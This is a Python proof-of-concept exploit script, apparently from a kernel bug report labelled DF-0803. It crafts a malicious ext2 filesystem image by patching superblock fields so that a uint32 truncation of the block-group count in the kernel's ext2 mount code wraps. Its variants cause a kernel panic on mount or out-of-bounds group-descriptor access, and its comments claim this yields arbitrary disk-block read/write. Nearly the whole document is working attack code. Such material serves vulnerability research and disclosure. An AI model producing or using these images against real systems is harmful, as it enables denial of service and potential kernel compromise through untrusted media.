DF-0803 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 | #!/usr/bin/env python3 # DF-0803 โ craft a malicious ext2 image that triggers the integer-truncation # bug in ext2_compute_sb_data() / ext2_vfsops.c:620. # # The bug: # fs->e2fs_gcount = howmany(fs->e2fs_bcount - first_dblock, bpg); # # `e2fs_gcount` is uint32_t (ext2fs.h:175) but `e2fs_bcount` is uint64_t # (ext2fs.h:159). `howmany` is `((x)+((y)-1))/(y)` (param.h:397) โ it returns # uint64. The assignment TRUNCATES before the post-assignment check at :622. # # The check at :622: # if (fs->e2fs_gcount > ((uint64_t)1 << 32) - EXT2_DESCS_PER_BLOCK(fs)) # compares the *already-truncated* uint32 (promoted back to uint64) against a # threshold near 2^32. Since uint32 max == 2^32-1, this only catches the # 64 values in [2^32-DESC_PER_BLOCK, 2^32-1]. # # If the true gcount is exactly 2^32 (or any multiple that wraps to 0), the # truncated gcount is 0, the check passes, malloc(0) returns ZERO_LENGTH_PTR # ((void *)-8, kern_slaballoc.c:193/890), ext2_cg_validate iterates 0 times, # mount "succeeds", then ext2_vget(2) derefs e2fs_gd[0] at address # (-8 + 0*sizeof(ext2_gd)) == 0xFFFFFFFFFFFFFFF8 -> fatal trap. # # Variant selection (cmd-line arg): # gcount=0 : howmany wraps to 2^32, truncated to 0 -> panic in ext2_vget # gcount=1 : howmany wraps to 2^32 + 1, truncated to 1 -> mount succeeds, # 64 GD entries allocated but only entry 0 validated. Then any # inode whose cg>=1 (root dir referencing inode in cg>=1, etc.) # follows the attacker-controlled GD entries 1..63 -> arbitrary # disk-block read/write primitives (not exercised here). # # Image strategy: take a small valid mke2fs-created ext2 image and binary- # patch the superblock's block-count + feature flags + desc_size. The base # superblock has no checksum unless metadata_csum is on, which we disable. import struct, sys, os, subprocess SB_OFF = 1024 # ext2 primary superblock lives at byte 1024 # Field offsets inside struct ext2fs (see sys/vfs/ext2fs/ext2fs.h:47 et seq). F_ICOUNT = 0 # u32 F_BCOUNT = 4 # u32 (low 32 of e2fs_bcount) F_RBCOUNT = 8 # u32 F_FBCOUNT = 12 # u32 F_FICOUNT = 16 # u32 F_FIRST_DBLOCK = 20 # u32 F_LOG_BSIZE = 24 # u32 F_LOG_FSIZE = 28 # u32 F_BPG = 32 # u32 F_FPG = 36 # u32 F_IPG = 40 # u32 F_MAGIC = 56 # u16 = 0xEF53 F_STATE = 58 # u16 F_REV = 76 # u32 (E2FS_REV0=0, E2FS_DYNAMIC_REV=1) F_INODE_SIZE = 88 # u16 F_FEAT_COMPAT = 92 # u32 F_FEAT_INCOMPAT = 96 # u32 F_FEAT_ROCOMPAT = 100 # u32 F_DESC_SIZE = 254 # u16 (e3fs_desc_size) โ must be 64 for 64bit feature F_BCOUNT_HI = 336 # u32 (e4fs_bcount_hi) E2FS_MAGIC = 0xEF53 E2FS_REV0 = 0 E2FS_DYNAMIC = 1 E2FS_ISCLEAN = 0x01 E2FS_ERRORS = 0x02 EXT2F_INCOMPAT_64BIT = 0x0080 EXT2F_ROCOMPAT_METADATA_CKSUM = 0x0400 EXT2F_ROCOMPAT_GDT_CSUM = 0x0010 E2FS_64BIT_GD_SIZE = 64 def howmany(x, y): return (x + (y - 1)) // y def patch_u32(buf, off, val): struct.pack_into("<I", buf, SB_OFF + off, val & 0xFFFFFFFF) def patch_u16(buf, off, val): struct.pack_into("<H", buf, SB_OFF + off, val & 0xFFFF) def read_u32(buf, off): return struct.unpack_from("<I", buf, SB_OFF + off)[0] def read_u16(buf, off): return struct.unpack_from("<H", buf, SB_OFF + off)[0] def build_base_image(path, size_mb=1): """Use host mke2fs to create a tiny valid ext2 image (block size 4096).""" size_kb = size_mb * 1024 # Disable metadata_csum so the base superblock has no checksum to fix. # Enable 64bit so desc_size gets set to 64 by mke2fs (and the field is honored). # Disable resize_inode/dir_index/journal to keep the image minimal & valid. cmd = [ "mke2fs", "-t", "ext2", "-b", "4096", "-m", "0", "-N", "16", "-O", "^metadata_csum,^resize_inode,^dir_index,^has_journal,extent,filetype,sparse_super,large_file,64bit", "-E", "nodiscard", "-F", path, f"{size_kb}K", ] subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) def craft(variant, out_path): if os.path.exists(out_path): os.unlink(out_path) build_base_image(out_path, size_mb=1) with open(out_path, "r+b") as f: buf = bytearray(f.read()) magic = read_u16(buf, F_MAGIC) if magic != E2FS_MAGIC: sys.exit(f"bad magic {magic:#x} โ base image broken") bsize_log = read_u32(buf, F_LOG_BSIZE) bsize = 1024 << bsize_log first_dblock = read_u32(buf, F_FIRST_DBLOCK) bpg = read_u32(buf, F_BPG) if bsize != 4096 or bpg != bsize * 8: sys.exit(f"unexpected bsize={bsize} bpg={bpg} โ base image misconfigured") # Force features: enable INCOMPAT_64BIT, clear METADATA_CKSUM / GDT_CSUM so # there is no per-GD or superblock checksum that would fail validation # before our truncation fires. feat_incompat = read_u32(buf, F_FEAT_INCOMPAT) | EXT2F_INCOMPAT_64BIT feat_rocompat = read_u32(buf, F_FEAT_ROCOMPAT) & ~(EXT2F_ROCOMPAT_METADATA_CKSUM | EXT2F_ROCOMPAT_GDT_CSUM) patch_u32(buf, F_FEAT_INCOMPAT, feat_incompat) patch_u32(buf, F_FEAT_ROCOMPAT, feat_rocompat) patch_u16(buf, F_DESC_SIZE, E2FS_64BIT_GD_SIZE) # Make sure rev is DYNAMIC so desc_size/incompat fields are honored. patch_u32(buf, F_REV, E2FS_DYNAMIC) # State: clean (so non-forced RO mount proceeds without warning noise). state = read_u16(buf, F_STATE) | E2FS_ISCLEAN state &= ~E2FS_ERRORS patch_u16(buf, F_STATE, state) # Pick the malicious block count that makes howmany(...) wrap to 2^32 # (gcount=0) or 2^32 + 1 (gcount=1). if variant == "gcount=0": # We want howmany(bcount - first_dblock, bpg) == 2^32 exactly. # bcount - first_dblock = 2^32 * bpg -> howmany = 2^32 (trunc to 0). bcount64 = (1 << 32) * bpg + first_dblock desc = "gcount wraps to 0 (howmany = 2^32, truncated to 0)" elif variant == "gcount=1": # We want howmany(bcount - first_dblock, bpg) == 2^32 + 1. # bcount - first_dblock โ [2^32 * bpg + 1, 2^32 * bpg + bpg]. bcount64 = (1 << 32) * bpg + first_dblock + 1 desc = "gcount wraps to 1 (howmany = 2^32 + 1, truncated to 1)" elif variant == "gcount=64": # OOB variant: gcount wraps to 64 โ exactly fills the 4096-byte GD # allocation. ino_to_cg >= 64 would OOB e2fs_gd[64..]. bcount64 = (1 << 32) * bpg + first_dblock + 64 * bpg desc = "gcount wraps to 64 (howmany = 2^32 + 64, truncated to 64)" else: sys.exit(f"unknown variant {variant}") lo = bcount64 & 0xFFFFFFFF hi = (bcount64 >> 32) & 0xFFFFFFFF patch_u32(buf, F_BCOUNT, lo) patch_u32(buf, F_BCOUNT_HI, hi) # Keep rbcount/fbcount <= bcount (the :599 check). patch_u32(buf, F_RBCOUNT, 0) patch_u32(buf, F_FBCOUNT, 0) patch_u32(buf, 340, 0) # e4fs_rbcount_hi patch_u32(buf, 344, 0) # e4fs_fbcount_hi # Sanity-check our arithmetic against the kernel's exact expression. bcount_check = read_u32(buf, F_BCOUNT) | (read_u32(buf, F_BCOUNT_HI) << 32) gcount64 = howmany(bcount_check - first_dblock, bpg) gcount32 = gcount64 & 0xFFFFFFFF with open(out_path, "wb") as f: f.write(buf) print(f"[+] crafted {out_path} ({variant})") print(f" bsize={bsize} bpg={bpg} first_dblock={first_dblock}") print(f" bcount64 = {bcount64:#x}") print(f" true howmany(bcount-first_dblock, bpg) = {gcount64} ({gcount64:#x})") print(f" truncated e2fs_gcount (uint32) = {gcount32}") print(f" post-trunc check threshold = {(1<<32) - bsize//E2FS_64BIT_GD_SIZE}") print(f" bug effect: {desc}") if __name__ == "__main__": variant = sys.argv[1] if len(sys.argv) > 1 else "gcount=0" out = sys.argv[2] if len(sys.argv) > 2 else "df0803.img" craft(variant, out) |